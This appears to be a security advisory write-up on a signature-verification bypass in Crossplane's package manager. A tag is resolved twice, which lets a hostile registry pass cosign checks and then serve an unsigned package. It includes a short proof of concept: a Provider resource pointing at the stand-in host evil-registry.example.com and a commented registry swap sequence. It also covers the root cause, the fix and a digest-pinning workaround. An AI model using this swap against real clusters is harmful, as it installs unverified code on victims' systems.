Crossplane xpkg.CachedClient TOCTOU Signature Verification Bypass
A malicious OCI registry can serve a properly signed image during cosign verification, then swap in an unsigned image for the actual install, completely bypassing Crossplane's package signature check.

The problem
Crossplane's package manager (xpkg.CachedClient) verifies package signatures using cosign before pulling and installing a package. When a package is referenced by tag (e.g., v1.2.3), the tag is resolved to a manifest independently for the verification step and again for the pull step.
A registry the operator does not control can exploit this two-resolution window. It serves a correctly signed manifest on the first request (verification passes), then silently points the same tag at a different, unsigned manifest on the second request (the actual install).
The attacker's unsigned package is installed with no warning.
Proof of concept
A working proof-of-concept for this issue in github.com/crossplane/crossplane-runtime/v2, with the exact payload below.
# Attacker controls the OCI registry at evil-registry.example.com.
# Tag :v1.2.3 initially resolves to a signed manifest (sha256:aaa...).
# After cosign verification succeeds, the registry re-points the tag
# to an unsigned manifest (sha256:bbb...) before Crossplane pulls it.
# Victim cluster applies this resource:
apiVersion: pkg.crossplane.io/v1
kind: Provider
metadata:
name: provider-evil
spec:
package: evil-registry.example.com/org/provider-evil:v1.2.3
# No digest pin -- tag reference only.
# Registry sequence:
# T1 GET /v2/org/provider-evil/manifests/v1.2.3 -> sha256:aaa... (signed)
# cosign verification: PASS
# T2 Registry operator atomically retags :v1.2.3 -> sha256:bbb... (unsigned)
# T3 GET /v2/org/provider-evil/manifests/v1.2.3 -> sha256:bbb... (unsigned)
# Crossplane installs bbb without re-verifying it.The root cause is a TOCTOU race (CWE-367) combined with insufficient data authenticity enforcement (CWE-345). Because xpkg.CachedClient issued two separate tag-resolution requests to the registry, the tag's mutability created a window between check and use.
The patch closes the window by resolving the tag to its digest exactly once, then passing that pinned digest to both cosign and the image fetcher. After the fix, both steps operate on the same content-addressable reference, making a swap attack impossible regardless of how the registry behaves between requests.
No public PoC tool has been released. The payload above is derived directly from the advisory's documented attack flow and the fix's change in behavior.
The fix
Upgrade crossplane-runtime to v2.4.0-rc.1 (or v2.3.3 / v2.2.3 on their respective branches). As an immediate workaround, pin all package references to an image digest instead of a tag (e.g., registry.example.com/org/pkg@sha256:...) so there is nothing mutable for a registry to swap.
Reported by bugbunny-research and tonghuaroot (independent reports).
Related research
- high · 8.2CVE-2026-54167CVE-2026-54167: Pipelines-as-Code GitHub App JWT Exfiltration via Untrusted X-GitHub-Enterprise-Host Header
- highCVE-2026-54763CVE-2026-54763: Traefik BasicAuth/DigestAuth/ForwardAuth Underscore Header Identity Spoofing
- high · 8.3CVE-2026-54174CVE-2026-54174: apko Incomplete APK Data Section Integrity Verification
- high · 7.5CVE-2026-44937CVE-2026-44937: Rancher Fleet Unauthenticated Webhook Regex Injection via Unsanitized Repository URL